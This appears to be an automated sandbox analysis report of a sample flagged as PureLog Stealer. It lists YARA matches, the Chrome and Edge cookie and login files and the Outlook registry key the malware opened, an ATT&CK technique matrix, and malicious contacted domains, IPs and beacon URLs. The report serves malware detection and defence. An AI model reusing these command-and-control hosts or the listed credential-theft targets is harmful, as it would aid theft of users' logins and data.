Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\IETC-24017.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 3.2.IETC-24017.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.IETC-24017.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1821676970.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4124676785.0000000004740000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4123746961.0000000000790000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4130326224.0000000007C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1822234803.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4124625092.00000000046F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4124804278.0000000004D20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1824149461.0000000003920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0.2.IETC-24017.exe.6d90000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IETC-24017.exe.371e790.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IETC-24017.exe.6d90000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IETC-24017.exe.371e790.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1692106162.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1686417175.0000000003701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\openfiles.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 3.2.IETC-24017.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.IETC-24017.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1821676970.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4124676785.0000000004740000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4123746961.0000000000790000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4130326224.0000000007C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1822234803.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4124625092.00000000046F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4124804278.0000000004D20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1824149461.0000000003920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0.2.IETC-24017.exe.6d90000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IETC-24017.exe.371e790.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IETC-24017.exe.6d90000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IETC-24017.exe.371e790.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1692106162.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1686417175.0000000003701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	312 Process Injection	11 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	22 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IETC-24017.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.Genie
IETC-24017.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://pepabo.com/	0%	Avira URL Cloud	safe
http://www.cssa.auction	0%	Avira URL Cloud	safe
http://www.ssrpidemt-soar.sbs/nja3/?ifzt=xX7QHijLKmKAWZAs9KUJ90Gt08KwtA5eAlD9v6t/QyACTljzLqSragPJ2hUI6qEgwVB84l05/Y7pq3HewBlXgm1FdHpiB2a4qq1LC2jezQbSehWYjzmvyps=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.cssa.auction/omhm/	0%	Avira URL Cloud	safe
http://www.cssa.auction/omhm/?ifzt=xaTrXXt9Kjd4VWfnLz4MLqEmpY3f+jxhDbzO0ePZZ/F2G9w3aeU7HujdvobedEDJNQrJvHKMILqdCxDRZi1zA3XNT5QIvXDZ0i+KO+cUgqjZuYPkfG7cBF4=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.127358.win/jr18/	0%	Avira URL Cloud	safe
http://www.amayavp.xyz/572a/	0%	Avira URL Cloud	safe
http://www.urbanfashion.website/aezw/?ifzt=XNcWUHXsHCrFsIBQlHGgjiME8CQZSYUU21qPNzqhKy2oFU8Odgs/t8kovejF8iENVZDP/oOK84yuTx8YyXOBoi/XK/eRsY6lCiyQls/Pp30YwPjl0cgXKAM=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.030002613.xyz/xd9h/	0%	Avira URL Cloud	safe
http://www.sankan-fukushi.info/9k5s/?ifzt=LL9hxxOEAXNrd1/9gf6rhKwJTveb5Fl2+AbaSF/ioM6ycsHwCgOlWdWUKzBQGlsNiYd2kWB7LHmLrDvgpCIhDnf37DhA8cnF96i4zyTZqkB+X7XYpxBXm1Q=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.izmirescortg.xyz/sba9/?ifzt=hsKab5Z8okOTl8y9Vxbai4viX8bRHhfs9Ucn1wMjIFh0nzefPIjUKnrAgLCbEwixQNq8fslvmu/EEFVEU8GR0KRfEzdZZ5UTmPnT/iR9Rp0TOLJvLqtuatI=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.bpgroup.site/ykn4/?qX=qP0hoZO0bjg4&ifzt=yDyVABeQ4Ct1InZ0OhfmdnBFKWQ7rCX+/8YxCwFx8D5ixU3VRgnj+l5ygnfgEeC3H+CzN484nEASY7Na52DMVUZTGbosqxUoBmbbT2616qreZhvQ7f+FXOQ=	0%	Avira URL Cloud	safe
http://www.127358.win/jr18/?ifzt=3C4Tc4Z0RY2s+tVmXeTOODIbYY0cZjMPNpxOrzRAWYWXOarDQI6T49to0R5yr2OUxBUw9rD3bXyFurU9wVp+2dZYmhq26qK0uIAUBFaEfelf6gXLCXJ0iXw=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.canadavinreport.site/vvzz/?ifzt=cUYTrm/9WoUGLtXnEfHvigyvVWYscXEqz9Hmi7WWzB+Eo/kiz1zVNsrH4IZXq93JBsPKcKHGWPOW5+N9njVZg9AZ40ltQReYzymzYn/PGSkLTDv/+fBeI5c=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.carsten.studio/lnel/	0%	Avira URL Cloud	safe
https://support.lolipop.jp/hc/ja/articles/360049132953	0%	Avira URL Cloud	safe
http://pip1-loh.com/	0%	Avira URL Cloud	safe
http://www.caj-bioteaque.online/i3tv/	0%	Avira URL Cloud	safe
http://www.airrelax.shop/wq47/?ifzt=+qWmsYvD7OMlDEAEm/jaBDQSW8n+pKrv9iKIE2pdq1tK+kqvSnJEJbP2DMl6xw9oMdRXFlgn6DbTeTaaAs/qgaat4XAxW5JpuJNECjkmcyUCSAd0ff+SBDY=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404	0%	Avira URL Cloud	safe
http://www.canadavinreport.site/vvzz/?ifzt=cUYTrm/9WoUGLtXnEfHvigyvVWYscXEqz9Hmi7WWzB	0%	Avira URL Cloud	safe
http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif	0%	Avira URL Cloud	safe
http://www.030002613.xyz/xd9h/?ifzt=XJyTEs9GXoAybgJL3Lz0/JwH+eiTm1uUb57LZhSSXQP8iaO5Q6m7cM20hY6MGSJfub8ibR0rowNO83l3EomIXmC1+i3fga28+sLpZTTW/AC/fI2RjxZA+PI=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.327531.buzz/zoqm/	0%	Avira URL Cloud	safe
http://www.izmirescortg.xyz/sba9/	0%	Avira URL Cloud	safe
http://www.sankan-fukushi.info/9k5s/	0%	Avira URL Cloud	safe
http://www.canadavinreport.site/vvzz/	0%	Avira URL Cloud	safe
https://gamesfunny.top$	0%	Avira URL Cloud	safe
http://www.bpgroup.site/ykn4/	0%	Avira URL Cloud	safe
http://www.caj-bioteaque.online/i3tv/?ifzt=ZfFmvi9Oe0q0E+s3tI8jowmrcKXFuAvLDG9tnsjazd2FMEfMyY6nK/4Bws6dZtaeRrlRwaDsvJ2Xfgg/epwI8XFwDGZNwHr0PbkZKGW1EbGZLzRKGsQFP6g=&qX=qP0hoZO0bjg4	0%	Avira URL Cloud	safe
http://www.327531.buzz/zoqm/?qX=qP0hoZO0bjg4&ifzt=Qq0FFa8OkDRPhmjT0VM8NDOXfTRiFF6zBHj2iH9IdxJy16x8x8AWanWvy54Dx3T7LlN6VBvxFf1wAvhvFTk518nT82cv2sbx2pE2mKVvPmrAc0IY36SOsAA=	0%	Avira URL Cloud	safe
http://www.ssrpidemt-soar.sbs/nja3/	0%	Avira URL Cloud	safe
http://www.urbanfashion.website/aezw/	0%	Avira URL Cloud	safe
https://static.minne.com/files/banner/minne_600x500	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htmtK	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.caj-bioteaque.online	212.123.41.108	true	true	unknown
www.ssrpidemt-soar.sbs	172.67.223.206	true	true	unknown
www.amayavp.xyz	185.27.134.144	true	true	unknown
carsten.studio	217.160.0.200	true	true	unknown
bpgroup.site	74.48.143.82	true	true	unknown
www.urbanfashion.website	209.74.77.108	true	true	unknown
www.airrelax.shop	104.21.16.206	true	true	unknown
cssa.auction	107.167.84.42	true	true	unknown
www.canadavinreport.site	185.27.134.206	true	true	unknown
www.127358.win	206.238.89.119	true	true	unknown
www.izmirescortg.xyz	172.67.186.192	true	true	unknown
www.dietcoffee.online	77.68.64.45	true	true	unknown
www.327531.buzz	43.199.54.158	true	true	unknown
www.030002613.xyz	161.97.142.144	true	true	unknown
www.sankan-fukushi.info	163.44.185.183	true	true	unknown
www.cssa.auction	unknown	unknown	false	unknown
www.bpgroup.site	unknown	unknown	false	unknown
www.carsten.studio	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.amayavp.xyz/572a/	true	Avira URL Cloud: safe	unknown
http://www.urbanfashion.website/aezw/?ifzt=XNcWUHXsHCrFsIBQlHGgjiME8CQZSYUU21qPNzqhKy2oFU8Odgs/t8kovejF8iENVZDP/oOK84yuTx8YyXOBoi/XK/eRsY6lCiyQls/Pp30YwPjl0cgXKAM=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.127358.win/jr18/	true	Avira URL Cloud: safe	unknown
http://www.ssrpidemt-soar.sbs/nja3/?ifzt=xX7QHijLKmKAWZAs9KUJ90Gt08KwtA5eAlD9v6t/QyACTljzLqSragPJ2hUI6qEgwVB84l05/Y7pq3HewBlXgm1FdHpiB2a4qq1LC2jezQbSehWYjzmvyps=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.sankan-fukushi.info/9k5s/?ifzt=LL9hxxOEAXNrd1/9gf6rhKwJTveb5Fl2+AbaSF/ioM6ycsHwCgOlWdWUKzBQGlsNiYd2kWB7LHmLrDvgpCIhDnf37DhA8cnF96i4zyTZqkB+X7XYpxBXm1Q=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.030002613.xyz/xd9h/	true	Avira URL Cloud: safe	unknown
http://www.cssa.auction/omhm/	true	Avira URL Cloud: safe	unknown
http://www.cssa.auction/omhm/?ifzt=xaTrXXt9Kjd4VWfnLz4MLqEmpY3f+jxhDbzO0ePZZ/F2G9w3aeU7HujdvobedEDJNQrJvHKMILqdCxDRZi1zA3XNT5QIvXDZ0i+KO+cUgqjZuYPkfG7cBF4=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.izmirescortg.xyz/sba9/?ifzt=hsKab5Z8okOTl8y9Vxbai4viX8bRHhfs9Ucn1wMjIFh0nzefPIjUKnrAgLCbEwixQNq8fslvmu/EEFVEU8GR0KRfEzdZZ5UTmPnT/iR9Rp0TOLJvLqtuatI=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.bpgroup.site/ykn4/?qX=qP0hoZO0bjg4&ifzt=yDyVABeQ4Ct1InZ0OhfmdnBFKWQ7rCX+/8YxCwFx8D5ixU3VRgnj+l5ygnfgEeC3H+CzN484nEASY7Na52DMVUZTGbosqxUoBmbbT2616qreZhvQ7f+FXOQ=	true	Avira URL Cloud: safe	unknown
http://www.caj-bioteaque.online/i3tv/	true	Avira URL Cloud: safe	unknown
http://www.127358.win/jr18/?ifzt=3C4Tc4Z0RY2s+tVmXeTOODIbYY0cZjMPNpxOrzRAWYWXOarDQI6T49to0R5yr2OUxBUw9rD3bXyFurU9wVp+2dZYmhq26qK0uIAUBFaEfelf6gXLCXJ0iXw=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.carsten.studio/lnel/	true	Avira URL Cloud: safe	unknown
http://www.canadavinreport.site/vvzz/?ifzt=cUYTrm/9WoUGLtXnEfHvigyvVWYscXEqz9Hmi7WWzB+Eo/kiz1zVNsrH4IZXq93JBsPKcKHGWPOW5+N9njVZg9AZ40ltQReYzymzYn/PGSkLTDv/+fBeI5c=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.airrelax.shop/wq47/?ifzt=+qWmsYvD7OMlDEAEm/jaBDQSW8n+pKrv9iKIE2pdq1tK+kqvSnJEJbP2DMl6xw9oMdRXFlgn6DbTeTaaAs/qgaat4XAxW5JpuJNECjkmcyUCSAd0ff+SBDY=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.izmirescortg.xyz/sba9/	true	Avira URL Cloud: safe	unknown
http://www.bpgroup.site/ykn4/	true	Avira URL Cloud: safe	unknown
http://www.030002613.xyz/xd9h/?ifzt=XJyTEs9GXoAybgJL3Lz0/JwH+eiTm1uUb57LZhSSXQP8iaO5Q6m7cM20hY6MGSJfub8ibR0rowNO83l3EomIXmC1+i3fga28+sLpZTTW/AC/fI2RjxZA+PI=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.327531.buzz/zoqm/	true	Avira URL Cloud: safe	unknown
http://www.sankan-fukushi.info/9k5s/	true	Avira URL Cloud: safe	unknown
http://www.canadavinreport.site/vvzz/	true	Avira URL Cloud: safe	unknown
http://www.caj-bioteaque.online/i3tv/?ifzt=ZfFmvi9Oe0q0E+s3tI8jowmrcKXFuAvLDG9tnsjazd2FMEfMyY6nK/4Bws6dZtaeRrlRwaDsvJ2Xfgg/epwI8XFwDGZNwHr0PbkZKGW1EbGZLzRKGsQFP6g=&qX=qP0hoZO0bjg4	true	Avira URL Cloud: safe	unknown
http://www.327531.buzz/zoqm/?qX=qP0hoZO0bjg4&ifzt=Qq0FFa8OkDRPhmjT0VM8NDOXfTRiFF6zBHj2iH9IdxJy16x8x8AWanWvy54Dx3T7LlN6VBvxFf1wAvhvFTk518nT82cv2sbx2pE2mKVvPmrAc0IY36SOsAA=	true	Avira URL Cloud: safe	unknown
http://www.urbanfashion.website/aezw/	true	Avira URL Cloud: safe	unknown
http://www.ssrpidemt-soar.sbs/nja3/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://securepubads.g.doubleclick.net/tag/js/gpt.js	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/DataSet1.xsd	IETC-24017.exe	false		high
http://www.tiro.com	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lolipop.jp/	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.sajatypeworks.com	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pepabo.com/	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cssa.auction	UFUUPGsATdE.exe, 00000006.00000002.4130326224.0000000007D05000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.typography.netD	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pip1-loh.com/	openfiles.exe, 00000007.00000002.4125167672.0000000005B1E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	IETC-24017.exe, 00000000.00000002.1683716815.0000000002746000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	IETC-24017.exe, 00000000.00000002.1690231019.00000000051D0000.00000004.00000020.00020000.00000000.sdmp, IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.strato.de	openfiles.exe, 00000007.00000002.4125167672.000000000661C000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.icann.org/en/resources/compliance/complaints/registrars/contact-verification	openfiles.exe, 00000007.00000002.4125167672.000000000598C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://support.lolipop.jp/hc/ja/articles/360049132953	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
